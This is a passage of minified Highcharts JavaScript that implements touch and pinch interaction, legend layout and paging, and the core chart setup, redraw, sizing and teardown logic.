u=h.bounds[n.horiz?"h":"v"],f=n.minPixelPadding,i=n.toPixels(t(n.options.min,n.dataMin)),r=n.toPixels(t(n.options.max,n.dataMax)),e=Math.max(i,r);u.min=Math.min(n.pos,Math.min(i,r)-f),u.max=Math.max(n.pos+n.len,e+f)}}),r.res=!0):r.followTouchMove&&1===a?this.runPointActions(r.normalize(n)):o.length&&(c||(r.selectionMarker=c=i({destroy:e,touch:!0},h.plotBox)),r.pinchTranslate(o,s,y,c,v,l),r.hasPinched=p,r.scaleGroups(y,v),r.res&&(r.res=!1,this.reset(!1,0)))},touch:function(i,r){var u=this.chart,f,e;if(u.index!==n.hoverChartIndex)this.onContainerMouseLeave({relatedTarget:!0});n.hoverChartIndex=u.index,1===i.touches.length?(i=this.normalize(i),(e=u.isInsidePlot(i.chartX-u.plotLeft,i.chartY-u.plotTop))&&!u.openMenu?(r&&this.runPointActions(i),"touchmove"===i.type&&(r=this.pinchDown,f=r[0]?4<=Math.sqrt(Math.pow(r[0].chartX-i.chartX,2)+Math.pow(r[0].chartY-i.chartY,2)):!1),t(f,!0)&&this.pinch(i)):r&&this.reset()):2===i.touches.length&&this.pinch(i)},onContainerTouchStart:function(n){this.zoomOption(n),this.touch(n,!0)},onContainerTouchMove:function(n){this.touch(n)},onDocumentTouchEnd:function(t){r[n.hoverChartIndex]&&r[n.hoverChartIndex].pointer.drop(t)}})}(t),function(n){var c=n.addEvent,o=n.charts,h=n.css,a=n.doc,l=n.extend,y=n.noop,i=n.Pointer,v=n.removeEvent,u=n.win,f=n.wrap;if(!n.hasTouch&&(u.PointerEvent||u.MSPointerEvent)){var t={},r=!!u.PointerEvent,s=function(){var i=[];return i.item=function(n){return this[n]},n.objectEach(t,function(n){i.push({pageX:n.pageX,pageY:n.pageY,target:n.target})}),i},e=function(t,i,r,u){"touch"!==t.pointerType&&t.pointerType!==t.MSPOINTER_TYPE_TOUCH||!o[n.hoverChartIndex]||(u(t),u=o[n.hoverChartIndex].pointer,u[i]({type:r,target:t.currentTarget,preventDefault:y,touches:s()}))};l(i.prototype,{onContainerPointerDown:function(n){e(n,"onContainerTouchStart","touchstart",function(n){t[n.pointerId]={pageX:n.pageX,pageY:n.pageY,target:n.currentTarget}})},onContainerPointerMove:function(n){e(n,"onContainerTouchMove","touchmove",function(n){t[n.pointerId]={pageX:n.pageX,pageY:n.pageY},t[n.pointerId].target||(t[n.pointerId].target=n.currentTarget)})},onDocumentPointerUp:function(n){e(n,"onDocumentTouchEnd","touchend",function(n){delete t[n.pointerId]})},batchMSEvents:function(n){n(this.chart.container,r?"pointerdown":"MSPointerDown",this.onContainerPointerDown),n(this.chart.container,r?"pointermove":"MSPointerMove",this.onContainerPointerMove),n(a,r?"pointerup":"MSPointerUp",this.onDocumentPointerUp)}}),f(i.prototype,"init",function(n,t,i){n.call(this,t,i),this.hasZoom&&h(t.container,{"-ms-touch-action":"none","touch-action":"none"})}),f(i.prototype,"setDOMEvents",function(n){n.apply(this),(this.hasZoom||this.followTouchMove)&&this.batchMSEvents(c)}),f(i.prototype,"destroy",function(n){this.batchMSEvents(v),n.call(this)})}}(t),function(n){var l=n.addEvent,c=n.css,v=n.discardElement,f=n.defined,i=n.each,a=n.isFirefox,u=n.marginNames,r=n.merge,t=n.pick,h=n.setAnimation,e=n.stableSort,o=n.win,s=n.wrap;n.Legend=function(n,t){this.init(n,t)},n.Legend.prototype={init:function(n,t){this.chart=n,this.setOptions(t),t.enabled&&(this.render(),l(this.chart,"endResize",function(){this.legend.positionCheckboxes()}))},setOptions:function(n){var i=t(n.padding,8);this.options=n,this.itemStyle=n.itemStyle,this.itemHiddenStyle=r(this.itemStyle,n.itemHiddenStyle),this.itemMarginTop=n.itemMarginTop||0,this.padding=i,this.initialItemY=i-5,this.itemHeight=this.maxItemWidth=0,this.symbolWidth=t(n.symbolWidth,16),this.pages=[]},update:function(n,i){var u=this.chart;this.setOptions(r(!0,this.options,n)),this.destroy(),u.isDirtyLegend=u.isDirtyBox=!0,t(i,!0)&&u.redraw()},colorizeItem:function(n,t){n.legendGroup[t?"removeClass":"addClass"]("highcharts-legend-item-hidden");var f=this.options,s=n.legendItem,e=n.legendLine,u=n.legendSymbol,r=this.itemHiddenStyle.color,f=t?f.itemStyle.color:r,o=t?n.color||r:r,h=n.options&&n.options.marker,i={fill:o};s&&s.css({fill:f,color:f}),e&&e.attr({stroke:o}),u&&(h&&u.isMarker&&(i=n.pointAttribs(),t||(i.stroke=i.fill=r)),u.attr(i))},positionItem:function(n){var r=this.options,f=r.symbolPadding,r=!r.rtl,t=n._legendItemPos,i=t[0],t=t[1],u=n.checkbox;(n=n.legendGroup)&&n.element&&n.translate(r?i:this.legendWidth-i-2*f-4,t),u&&(u.x=i,u.y=t)},destroyItem:function(n){var t=n.checkbox;i(["legendItem","legendLine","legendSymbol","legendGroup"],function(t){n[t]&&(n[t]=n[t].destroy())}),t&&v(n.checkbox)},destroy:function(){function n(n){this[n]&&(this[n]=this[n].destroy())}i(this.getAllItems(),function(t){i(["legendItem","legendGroup"],n,t)}),i("clipRect up down pager nav box title group".split(" "),n,this),this.display=null},positionCheckboxes:function(){var t=this.group&&this.group.alignAttr,n,u=this.clipHeight||this.legendHeight,r=this.titleHeight;t&&(n=t.translateY,i(this.allItems,function(i){var e=i.checkbox,f;e&&(f=n+r+e.y+(this.scrollOffset||0)+3,c(e,{left:t.translateX+i.checkboxOffset+e.x-20+"px",top:f+"px",display:f>n-6&&f<n+u-6?"":"none"}))},this))},renderTitle:function(){var n=this.options,r=this.padding,t=n.title,i=0;t.text&&(this.title||(this.title=this.chart.renderer.label(t.text,r-3,r-4,null,null,null,n.useHTML,null,"legend-title").attr({zIndex:1}).css(t.style).add(this.group)),n=this.title.getBBox(),i=n.height,this.offsetWidth=n.width,this.contentGroup.attr({translateY:i})),this.titleHeight=i},setText:function(t){var i=this.options;t.legendItem.attr({text:i.labelFormat?n.format(i.labelFormat,t):i.labelFormatter.call(t)})},renderItem:function(n){var v=this.chart,u=v.renderer,i=this.options,c="horizontal"===i.layout,h=this.symbolWidth,y=i.symbolPadding,f=this.itemStyle,it=this.itemHiddenStyle,o=this.padding,g=c?t(i.itemDistance,20):0,d=!i.rtl,tt=i.width,a=i.itemMarginBottom||0,l=this.itemMarginTop,e=n.legendItem,nt=!n.series,p=!nt&&n.series.drawLegendSymbol?n.series:n,s=p.options,k=this.createCheckboxForItem&&s&&s.showCheckbox,s=h+y+g+(k?20:0),b=i.useHTML,w=n.options.className;e||(n.legendGroup=u.g("legend-item").addClass("highcharts-"+p.type+"-series highcharts-color-"+n.colorIndex+(w?" "+w:"")+(nt?" highcharts-series-"+n.index:"")).attr({zIndex:1}).add(this.scrollGroup),n.legendItem=e=u.text("",d?h+y:-y,this.baseline||0,b).css(r(n.visible?f:it)).attr({align:d?"left":"right",zIndex:2}).add(n.legendGroup),this.baseline||(h=f.fontSize,this.fontMetrics=u.fontMetrics(h,e),this.baseline=this.fontMetrics.f+3+l,e.attr("y",this.baseline)),this.symbolHeight=i.symbolHeight||this.fontMetrics.f,p.drawLegendSymbol(this,n),this.setItemEvents&&this.setItemEvents(n,e,b),k&&this.createCheckboxForItem(n)),this.colorizeItem(n,n.visible),f.width||e.css({width:(i.itemWidth||i.width||v.spacingBox.width)-s}),this.setText(n),u=e.getBBox(),f=n.checkboxOffset=i.itemWidth||n.legendItemWidth||u.width+s,this.itemHeight=u=Math.round(n.legendItemHeight||u.height||this.symbolHeight),c&&this.itemX-o+f>(tt||v.spacingBox.width-2*o-i.x)&&(this.itemX=o,this.itemY+=l+this.lastLineHeight+a,this.lastLineHeight=0),this.maxItemWidth=Math.max(this.maxItemWidth,f),this.lastItemY=l+this.itemY+a,this.lastLineHeight=Math.max(u,this.lastLineHeight),n._legendItemPos=[this.itemX,this.itemY],c?this.itemX+=f:(this.itemY+=l+u+a,this.lastLineHeight=u),this.offsetWidth=tt||Math.max((c?this.itemX-o-(n.checkbox?0:g):f)+o,this.offsetWidth)},getAllItems:function(){var n=[];return i(this.chart.series,function(i){var r=i&&i.options;i&&t(r.showInLegend,f(r.linkedTo)?!1:void 0,!0)&&(n=n.concat(i.legendItems||("point"===r.legendType?i.data:i)))}),n},adjustMargins:function(n,r){var o=this.chart,e=this.options,s=e.align.charAt(0)+e.verticalAlign.charAt(0)+e.layout.charAt(0);e.floating||i([/(lth|ct|rth)/,/(rtv|rm|rbv)/,/(rbh|cb|lbh)/,/(lbv|lm|ltv)/],function(i,h){i.test(s)&&!f(n[h])&&(o[u[h]]=Math.max(o[u[h]],o.legend[(h+1)%2?"legendHeight":"legendWidth"]+[1,-1,-1,1][h]*e[h%2?"x":"y"]+t(e.margin,12)+r[h]))})},render:function(){var n=this,v=n.chart,c=v.renderer,s=n.group,o,a,h,u,t=n.box,f=n.options,l=n.padding;n.itemX=l,n.itemY=n.initialItemY,n.offsetWidth=0,n.lastItemY=0,s||(n.group=s=c.g("legend").attr({zIndex:7}).add(),n.contentGroup=c.g().attr({zIndex:1}).add(s),n.scrollGroup=c.g().add(n.contentGroup)),n.renderTitle(),o=n.getAllItems(),e(o,function(n,t){return(n.options&&n.options.legendIndex||0)-(t.options&&t.options.legendIndex||0)}),f.reversed&&o.reverse(),n.allItems=o,n.display=a=!!o.length,n.lastLineHeight=0,i(o,function(t){n.renderItem(t)}),h=(f.width||n.offsetWidth)+l,u=n.lastItemY+n.lastLineHeight+n.titleHeight,u=n.handleOverflow(u),u+=l,t||(n.box=t=c.rect().addClass("highcharts-legend-box").attr({r:f.borderRadius}).add(s),t.isNew=!0),t.attr({stroke:f.borderColor,"stroke-width":f.borderWidth||0,fill:f.backgroundColor||"none"}).shadow(f.shadow),0<h&&0<u&&(t[t.isNew?"attr":"animate"](t.crisp.call({},{x:0,y:0,width:h,height:u},t.strokeWidth())),t.isNew=!1),t[a?"show":"hide"](),n.legendWidth=h,n.legendHeight=u,i(o,function(t){n.positionItem(t)}),a&&s.align(r(f,{width:h,height:u}),!0,"spacingBox"),v.isResizing||this.positionCheckboxes()},handleOverflow:function(n){var r=this,u=this.chart,h=u.renderer,e=this.options,l=e.y,c=this.padding,u=u.spacingBox.height+("top"===e.verticalAlign?-l:l)-c,l=e.maxHeight,p,s=this.clipRect,y=e.navigation,k=t(y.animation,!0),v=y.arrowSize||12,f=this.nav,o=this.pages,a,b=this.allItems,w=function(n){"number"==typeof n?s.attr({height:n}):s&&(r.clipRect=s.destroy(),r.contentGroup.clip()),r.contentGroup.div&&(r.contentGroup.div.style.clip=n?"rect("+c+"px,9999px,"+(c+n)+"px,0)":"auto")};return"horizontal"!==e.layout||"middle"===e.verticalAlign||e.floating||(u/=2),l&&(u=Math.min(u,l)),o.length=0,n>u&&!1!==y.enabled?(this.clipHeight=p=Math.max(u-20-this.titleHeight-c,0),this.currentPage=t(this.currentPage,1),this.fullHeight=n,i(b,function(n,t){var i=n._legendItemPos[1],r;n=Math.round(n.legendItem.getBBox().height),r=o.length,(!r||i-o[r-1]>p&&(a||i)!==o[r-1])&&(o.push(a||i),r++),t===b.length-1&&i+n-o[r-1]>p&&o.push(i),i!==a&&(a=i)}),s||(s=r.clipRect=h.clipRect(0,c,9999,0),r.contentGroup.clip(s)),w(p),f||(this.nav=f=h.g().attr({zIndex:1}).add(this.group),this.up=h.symbol("triangle",0,0,v,v).on("click",function(){r.scroll(-1,k)}).add(f),this.pager=h.text("",15,10).addClass("highcharts-legend-navigation").css(y.style).add(f),this.down=h.symbol("triangle-down",0,0,v,v).on("click",function(){r.scroll(1,k)}).add(f)),r.scroll(0),n=u):f&&(w(),this.nav=f.destroy(),this.scrollGroup.attr({translateY:1}),this.clipHeight=0),n},scroll:function(n,t){var u=this.pages,i=u.length;n=this.currentPage+n;var o=this.clipHeight,r=this.options.navigation,e=this.pager,f=this.padding;n>i&&(n=i),0<n&&(void 0!==t&&h(t,this.chart),this.nav.attr({translateX:f,translateY:o+this.padding+7+this.titleHeight,visibility:"visible"}),this.up.attr({"class":1===n?"highcharts-legend-nav-inactive":"highcharts-legend-nav-active"}),e.attr({text:n+"/"+i}),this.down.attr({x:18+this.pager.getBBox().width,"class":n===i?"highcharts-legend-nav-inactive":"highcharts-legend-nav-active"}),this.up.attr({fill:1===n?r.inactiveColor:r.activeColor}).css({cursor:1===n?"default":"pointer"}),this.down.attr({fill:n===i?r.inactiveColor:r.activeColor}).css({cursor:n===i?"default":"pointer"}),this.scrollOffset=-u[n-1]+this.initialItemY,this.scrollGroup.animate({translateY:this.scrollOffset}),this.currentPage=n,this.positionCheckboxes())}},n.LegendSymbolMixin={drawRectangle:function(n,i){var r=n.symbolHeight,u=n.options.squareSymbol;i.legendSymbol=this.chart.renderer.rect(u?(n.symbolWidth-r)/2:0,n.baseline-r+1,u?r:n.symbolWidth,r,t(n.options.symbolRadius,r/2)).addClass("highcharts-point").attr({zIndex:3}).add(i.legendGroup)},drawLineMarker:function(n){var i=this.options,u=i.marker,s=n.symbolWidth,e=n.symbolHeight,h=e/2,c=this.chart.renderer,o=this.legendGroup,f;n=n.baseline-Math.round(.3*n.fontMetrics.b),f={"stroke-width":i.lineWidth||0},i.dashStyle&&(f.dashstyle=i.dashStyle),this.legendLine=c.path(["M",0,n,"L",s,n]).addClass("highcharts-graph").attr(f).add(o),u&&!1!==u.enabled&&(i=Math.min(t(u.radius,h),h),0===this.symbol.indexOf("url")&&(u=r(u,{width:e,height:e}),i=0),this.legendSymbol=u=c.symbol(this.symbol,s/2-i,n-i,2*i,2*i,u).addClass("highcharts-point").add(o),u.isMarker=!0)}},(/Trident\/7\.0/.test(o.navigator.userAgent)||a)&&s(n.Legend.prototype,"positionItem",function(n,t){var r=this,i=function(){t._legendItemPos&&n.call(r,t)};i(),setTimeout(i)})}(t),function(n){var l=n.addEvent,ot=n.animate,et=n.animObject,tt=n.attr,r=n.doc,rt=n.Axis,ut=n.createElement,lt=n.defaultOptions,at=n.discardElement,f=n.charts,vt=n.css,u=n.defined,t=n.each,s=n.extend,c=n.find,i=n.fireEvent,it=n.grep,st=n.isNumber,ht=n.isObject,a=n.isString,ct=n.Legend,p=n.marginNames,o=n.merge,w=n.objectEach,b=n.Pointer,h=n.pick,y=n.pInt,k=n.removeEvent,v=n.seriesTypes,d=n.splat,ft=n.svg,nt=n.syncTimeout,e=n.win,g=n.Chart=function(){this.getArgs.apply(this,arguments)};n.chart=function(n,t,i){return new g(n,t,i)},s(g.prototype,{callbacks:[],getArgs:function(){var n=[].slice.call(arguments);(a(n[0])||n[0].nodeName)&&(this.renderTo=n.shift()),this.init(n[0],n[1])},init:function(t,i){var e,u,h=t.series,s=t.plotOptions||{},r;t.series=null,e=o(lt,t);for(u in e.plotOptions)e.plotOptions[u].tooltip=s[u]&&o(s[u].tooltip)||void 0;e.tooltip.userOptions=t.chart&&t.chart.forExport&&t.tooltip.userOptions||t.tooltip,e.series=t.series=h,this.userOptions=t,t=e.chart,u=t.events,this.margin=[],this.spacing=[],this.bounds={h:{},v:{}},this.labelCollectors=[],this.callback=i,this.isResizing=0,this.options=e,this.axes=[],this.series=[],this.hasCartesianSeries=t.showAxes,r=this,r.index=f.length,f.push(r),n.chartCount++,u&&w(u,function(n,t){l(r,t,n)}),r.xAxis=[],r.yAxis=[],r.pointCount=r.colorCounter=r.symbolCounter=0,r.firstRender()},initSeries:function(t){var i=this.options.chart;return(i=v[t.type||i.type||i.defaultSeriesType])||n.error(17,!0),i=new i,i.init(this,t),i},orderSeries:function(n){var t=this.series;for(n=n||0;n<t.length;n++)t[n]&&(t[n].index=n,t[n].name=t[n].name||"Series "+(t[n].index+1))},isInsidePlot:function(n,t,i){var r=i?t:n;return n=i?n:t,0<=r&&r<=this.plotWidth&&0<=n&&n<=this.plotHeight},redraw:function(r){var h=this.axes,u=this.series,v=this.pointer,y=this.legend,p=this.isDirtyLegend,o,b,w=this.hasCartesianSeries,e=this.isDirtyBox,f,l=this.renderer,a=l.isHidden(),c=[];for(this.setResponsive&&this.setResponsive(!1),n.setAnimation(r,this),a&&this.temporaryDisplay(),this.layOutTitles(),r=u.length;r--;)if(f=u[r],f.options.stacking&&(o=!0,f.isDirty)){b=!0;break}if(b)for(r=u.length;r--;)f=u[r],f.options.stacking&&(f.isDirty=!0);t(u,function(n){n.isDirty&&"point"===n.options.legendType&&(n.updateTotals&&n.updateTotals(),p=!0),n.isDirtyData&&i(n,"updatedData")}),p&&y.options.enabled&&(y.render(),this.isDirtyLegend=!1),o&&this.getStacks(),w&&t(h,function(n){n.updateNames(),n.setScale()}),this.getMargins(),w&&(t(h,function(n){n.isDirty&&(e=!0)}),t(h,function(n){var t=n.min+","+n.max;n.extKey!==t&&(n.extKey=t,c.push(function(){i(n,"afterSetExtremes",s(n.eventArgs,n.getExtremes())),delete n.eventArgs})),(e||o)&&n.redraw()})),e&&this.drawChartBox(),i(this,"predraw"),t(u,function(n){(e||n.isDirty)&&n.visible&&n.redraw(),n.isDirtyData=!1}),v&&v.reset(!0),l.draw(),i(this,"redraw"),i(this,"render"),a&&this.temporaryDisplay(!0),t(c,function(n){n.call()})},get:function(n){function r(t){return t.id===n||t.options&&t.options.id===n}for(var u=this.series,i=c(this.axes,r)||c(this.series,r),t=0;!i&&t<u.length;t++)i=c(u[t].points||[],r);return i},getAxes:function(){var r=this,n=this.options,i=n.xAxis=d(n.xAxis||{}),n=n.yAxis=d(n.yAxis||{});t(i,function(n,t){n.index=t,n.isX=!0}),t(n,function(n,t){n.index=t}),i=i.concat(n),t(i,function(n){new rt(r,n)})},getSelectedPoints:function(){var n=[];return t(this.series,function(t){n=n.concat(it(t.data||[],function(n){return n.selected}))}),n},getSelectedSeries:function(){return it(this.series,function(n){return n.selected})},setTitle:function(n,i,r){var u=this,f=u.options,e;e=f.title=o({style:{color:"#333333",fontSize:f.isStock?"16px":"18px"}},f.title,n),f=f.subtitle=o({style:{color:"#666666"}},f.subtitle,i),t([["title",n,e],["subtitle",i,f]],function(n,t){var i=n[0],r=u[i],f=n[1];n=n[2],r&&f&&(u[i]=r=r.destroy()),n&&!r&&(u[i]=u.renderer.text(n.text,0,0,n.useHTML).attr({align:n.align,"class":"highcharts-"+i,zIndex:n.zIndex||4}).add(),u[i].update=function(n){u.setTitle(!t&&n,t&&n)},u[i].css(n.style))}),u.layOutTitles(r)},layOutTitles:function(n){var i=0,r,f=this.renderer,u=this.spacingBox;t(["title","subtitle"],function(n){var e=this[n],t=this.options[n],r;n="title"===n?-3:t.verticalAlign?0:i+2,e&&(r=t.style.fontSize,r=f.fontMetrics(r,e).b,e.css({width:(t.width||u.width+t.widthAdjust)+"px"}).align(s({y:n+r},t),!1,"spacingBox"),t.floating||t.verticalAlign||(i=Math.ceil(i+e.getBBox(t.useHTML).height)))},this),r=this.titleOffset!==i,this.titleOffset=i,!this.isDirtyBox&&r&&(this.isDirtyBox=r,this.hasRendered&&h(n,!0)&&this.isDirtyBox&&this.redraw())},getChartSize:function(){var t=this.options.chart,r=t.width,t=t.height,i=this.renderTo;u(r)||(this.containerWidth=n.getStyle(i,"width")),u(t)||(this.containerHeight=n.getStyle(i,"height")),this.chartWidth=Math.max(0,r||this.containerWidth||600),this.chartHeight=Math.max(0,n.relativeLength(t,this.chartWidth)||(1<this.containerHeight?this.containerHeight:400))},temporaryDisplay:function(t){var i=this.renderTo;if(t)for(;i&&i.style;)i.hcOrigStyle&&(n.css(i,i.hcOrigStyle),delete i.hcOrigStyle),i.hcOrigDetached&&(r.body.removeChild(i),i.hcOrigDetached=!1),i=i.parentNode;else for(;i&&i.style;)if(r.body.contains(i)||i.parentNode||(i.hcOrigDetached=!0,r.body.appendChild(i)),("none"===n.getStyle(i,"display",!1)||i.hcOricDetached)&&(i.hcOrigStyle={display:i.style.display,height:i.style.height,overflow:i.style.overflow},t={display:"block",overflow:"hidden"},i!==this.renderTo&&(t.height=0),n.css(i,t),i.offsetWidth||i.style.setProperty("display","block","important")),i=i.parentNode,i===r.body)break},setClassName:function(n){this.container.className="highcharts-container "+(n||"")},getContainer:function(){var t,o=this.options,u=o.chart,i,e,c,h;t=this.renderTo,c=n.uniqueKey(),t||(this.renderTo=t=u.renderTo),a(t)&&(this.renderTo=t=r.getElementById(t)),t||n.error(13,!0),i=y(tt(t,"data-highcharts-chart")),st(i)&&f[i]&&f[i].hasRendered&&f[i].destroy(),tt(t,"data-highcharts-chart",this.index),t.innerHTML="",u.skipClone||t.offsetWidth||this.temporaryDisplay(),this.getChartSize(),i=this.chartWidth,e=this.chartHeight,h=s({position:"relative",overflow:"hidden",width:i+"px",height:e+"px",textAlign:"left",lineHeight:"normal",zIndex:0,"-webkit-tap-highlight-color":"rgba(0,0,0,0)"},u.style),this.container=t=ut("div",{id:c},h,t),this._cursor=t.style.cursor,this.renderer=new(n[u.renderer]||n.Renderer)(t,i,e,null,u.forExport,o.exporting&&o.exporting.allowHTML),this.setClassName(u.className),this.renderer.setStyle(u.style),this.renderer.chartIndex=this.index},getMargins:function(n){var r=this.spacing,i=this.margin,t=this.titleOffset;this.resetMargins(),t&&!u(i[0])&&(this.plotTop=Math.max(this.plotTop,t+this.options.title.margin+r[0])),this.legend&&this.legend.display&&this.legend.adjustMargins(i,r),this.extraMargin&&(this[this.extraMargin.type]=(this[this.extraMargin.type]||0)+this.extraMargin.value),this.adjustPlotArea&&this.adjustPlotArea(),n||this.getAxisMargins()},getAxisMargins:function(){var n=this,r=n.axisOffset=[0,0,0,0],i=n.margin;n.hasCartesianSeries&&t(n.axes,function(n){n.visible&&n.getOffset()}),t(p,function(t,f){u(i[f])||(n[t]+=r[f])}),n.setChartSize()},reflow:function(t){var i=this,f=i.options.chart,o=i.renderTo,h=u(f.width)&&u(f.height),s=f.width||n.getStyle(o,"width"),f=f.height||n.getStyle(o,"height"),o=t?t.target:e;!h&&!i.isPrinting&&s&&f&&(o===e||o===r)&&((s!==i.containerWidth||f!==i.containerHeight)&&(clearTimeout(i.reflowTimeout),i.reflowTimeout=nt(function(){i.container&&i.setSize(void 0,void 0,!1)},t?100:0)),i.containerWidth=s,i.containerHeight=f)},initReflow:function(){var t=this,n;n=l(e,"resize",function(n){t.reflow(n)}),l(t,"destroy",n)},setSize:function(r,u,f){var e=this,o=e.renderer;e.isResizing+=1,n.setAnimation(f,e),e.oldChartHeight=e.chartHeight,e.oldChartWidth=e.chartWidth,void 0!==r&&(e.options.chart.width=r),void 0!==u&&(e.options.chart.height=u),e.getChartSize(),r=o.globalAnimation,(r?ot:vt)(e.container,{width:e.chartWidth+"px",height:e.chartHeight+"px"},r),e.setChartSize(!0),o.setSize(e.chartWidth,e.chartHeight,f),t(e.axes,function(n){n.isDirty=!0,n.setScale()}),e.isDirtyLegend=!0,e.isDirtyBox=!0,e.layOutTitles(),e.getMargins(),e.redraw(f),e.oldChartHeight=null,i(e,"resize"),nt(function(){e&&i(e,"endResize",null,function(){--e.isResizing})},et(r).duration)},setChartSize:function(n){var f=this.inverted,u=this.renderer,i=this.chartWidth,l=this.chartHeight,a=this.options.chart,r=this.spacing,o=this.clipOffset,c,h,e,s;this.plotLeft=c=Math.round(this.plotLeft),this.plotTop=h=Math.round(this.plotTop),this.plotWidth=e=Math.max(0,Math.round(i-c-this.marginRight)),this.plotHeight=s=Math.max(0,Math.round(l-h-this.marginBottom)),this.plotSizeX=f?s:e,this.plotSizeY=f?e:s,this.plotBorderWidth=a.plotBorderWidth||0,this.spacingBox=u.spacingBox={x:r[3],y:r[0],width:i-r[3]-r[1],height:l-r[0]-r[2]},this.plotBox=u.plotBox={x:c,y:h,width:e,height:s},i=2*Math.floor(this.plotBorderWidth/2),f=Math.ceil(Math.max(i,o[3])/2),u=Math.ceil(Math.max(i,o[0])/2),this.clipBox={x:f,y:u,width:Math.floor(this.plotSizeX-Math.max(i,o[1])/2-f),height:Math.max(0,Math.floor(this.plotSizeY-Math.max(i,o[2])/2-u))},n||t(this.axes,function(n){n.setAxisSize(),n.setAxisTranslation()})},resetMargins:function(){var n=this,i=n.options.chart;t(["margin","spacing"],function(r){var u=i[r],f=ht(u)?u:[u,u,u,u];t(["Top","Right","Bottom","Left"],function(t,u){n[r][u]=h(i[r+t],f[u])})}),t(p,function(t,i){n[t]=h(n.margin[i],n.spacing[i])}),n.axisOffset=[0,0,0,0],n.clipOffset=[0,0,0,0]},drawChartBox:function(){var n=this.options.chart,f=this.renderer,g=this.chartWidth,d=this.chartHeight,o=this.chartBackground,s=this.plotBackground,i=this.plotBorder,r,p=this.plotBGImage,u=n.backgroundColor,k=n.plotBackgroundColor,w=n.plotBackgroundImage,e,b=this.plotLeft,y=this.plotTop,c=this.plotWidth,v=this.plotHeight,a=this.plotBox,l=this.clipRect,h=this.clipBox,t="animate";o||(this.chartBackground=o=f.rect().addClass("highcharts-background").add(),t="attr"),r=n.borderWidth||0,e=r+(n.shadow?8:0),u={fill:u||"none"},(r||o["stroke-width"])&&(u.stroke=n.borderColor,u["stroke-width"]=r),o.attr(u).shadow(n.shadow),o[t]({x:e/2,y:e/2,width:g-e-r%2,height:d-e-r%2,r:n.borderRadius}),t="animate",s||(t="attr",this.plotBackground=s=f.rect().addClass("highcharts-plot-background").add()),s[t](a),s.attr({fill:k||"none"}).shadow(n.plotShadow),w&&(p?p.animate(a):this.plotBGImage=f.image(w,b,y,c,v).add()),l?l.animate({width:h.width,height:h.height}):this.clipRect=f.clipRect(h),t="animate",i||(t="attr",this.plotBorder=i=f.rect().addClass("highcharts-plot-border").attr({zIndex:1}).add()),i.attr({stroke:n.plotBorderColor,"stroke-width":n.plotBorderWidth||0,fill:"none"}),i[t](i.crisp({x:b,y:y,width:c,height:v},-i.strokeWidth())),this.isDirtyBox=!1},propFromSeries:function(){var u=this,f=u.options.chart,n,e=u.options.series,r,i;t(["inverted","angular","polar"],function(t){for(n=v[f.type||f.defaultSeriesType],i=f[t]||n&&n.prototype[t],r=e&&e.length;!i&&r--;)(n=v[e[r].type])&&n.prototype[t]&&(i=!0);u[t]=i})},linkSeries:function(){var n=this,i=n.series;t(i,function(n){n.linkedSeries.length=0}),t(i,function(t){var i=t.options.linkedTo;a(i)&&(i=":previous"===i?n.series[t.index-1]:n.get(i))&&i.linkedParent!==t&&(i.linkedSeries.push(t),t.linkedParent=i,t.visible=h(t.options.visible,i.options.visible,t.visible))})},renderSeries:function(){t(this.series,function(n){n.translate(),n.render()})},renderLabels:function(){var n=this,i=n.options.labels;i.items&&t(i.items,function(t){var r=s(i.style,t.style),f=y(r.left)+n.plotLeft,u=y(r.top)+n.plotTop+12;delete r.left,delete r.top,n.renderer.text(t.html,f,u).attr({zIndex:2}).css(r).add()})},render:function(){var u=this.axes,e=this.renderer,r=this.options,f,n,i;this.setTitle(),this.legend=new ct(this,r.legend),this.getStacks&&this.getStacks(),this.getMargins(!0),this.setChartSize(),r=this.plotWidth,f=this.plotHeight=Math.max(this.plotHeight-21,0),t(u,function(n){n.setScale()}),this.getAxisMargins(),n=1.1<r/this.plotWidth,i=1.05<f/this.plotHeight,(n||i)&&(t(u,function(t){(t.horiz&&n||!t.horiz&&i)&&t.setTickInterval(!0)}),this.getMargins()),this.drawChartBox(),this.hasCartesianSeries&&t(u,function(n){n.visible&&n.render()}),this.seriesGroup||(this.seriesGroup=e.g("series-group").attr({zIndex:3}).add()),this.renderSeries(),this.renderLabels(),this.addCredits(),this.setResponsive&&this.setResponsive(),this.hasRendered=!0},addCredits:function(n){var t=this;n=o(!0,this.options.credits,n),n.enabled&&!this.credits&&(this.credits=this.renderer.text(n.text+(this.mapCredits||""),0,0).addClass("highcharts-credits").on("click",function(){n.href&&(e.location.href=n.href)}).attr({align:n.position.align,zIndex:8}).css(n.style).add().align(n.position),this.credits.update=function(n){t.credits=t.credits.destroy(),t.addCredits(n)})},destroy:function(){var r=this,o=r.axes,s=r.series,e=r.container,u,h=e&&e.parentNode;for(i(r,"destroy"),r.renderer.forExport?n.erase(f,r):f[r.index]=void 0,n.chartCount--,r.renderTo.removeAttribute("data-highcharts-chart"),k(r),u=o.length;u--;)o[u]=o[u].destroy();for(this.scroller&&this.scroller.destroy&&this.scroller.destroy(),u=s.length;u--;)s[u]=s[u].destroy();t("title subtitle chartBackground plotBackground plotBGImage plotBorder seriesGroup clipRect credits pointer rangeSelector legend resetZoomButton tooltip renderer".split(" "),function(n){var t=r[n];t&&t.destroy&&(r[n]=t.destroy())}),e&&(e.innerHTML="",k(e),h&&at(e)),w(r,function(n,t){delete r[t]})},isReadyToRender:function(){var n=this;return ft||e!=e.top||"complete"===r.readyState?!0:(r.attachEvent("onreadystatechange",function(){r.detachEvent("onreadystatechange",n.firstRender),"complete"===r.readyState&&n.firstRender()}),!1)},firstRender:function(){var n=this,r=n.options;n.isReadyToRender()&&(n.getContainer(),i(n,"init"),n.resetMargins(),n.setChartSize(),n.propFromSeries(),n.getAxes(),t(r.series||[],function(t){n.initSeries(t)}),n.linkSeries(),i(n,"beforeRender"),b&&(n.pointer=new b(n,r)),n.render(),!n.renderer.imgCount&&n.onload&&n.onload(),n.temporaryDisplay(!0))},onload:function(){t([this.callback].concat(this.callbacks),function(n){n&&void 0!==this.index&&n.apply(this,[this])},this),i(this,"load"),i(this,"render"),u(this.index)&&!1!==this.options.chart.reflow&&this.initReflow(),this.onload=null}})}(t),function(n){var u,s=n.each,r=n.extend,o=n.erase,c=n.fireEvent,h=n.format,f=n.isArray,i=n.isNumber,t=n.pick,e=n.removeEvent;n.Point=u=function(){},n.Point.prototype={init:function(n,i,r){return 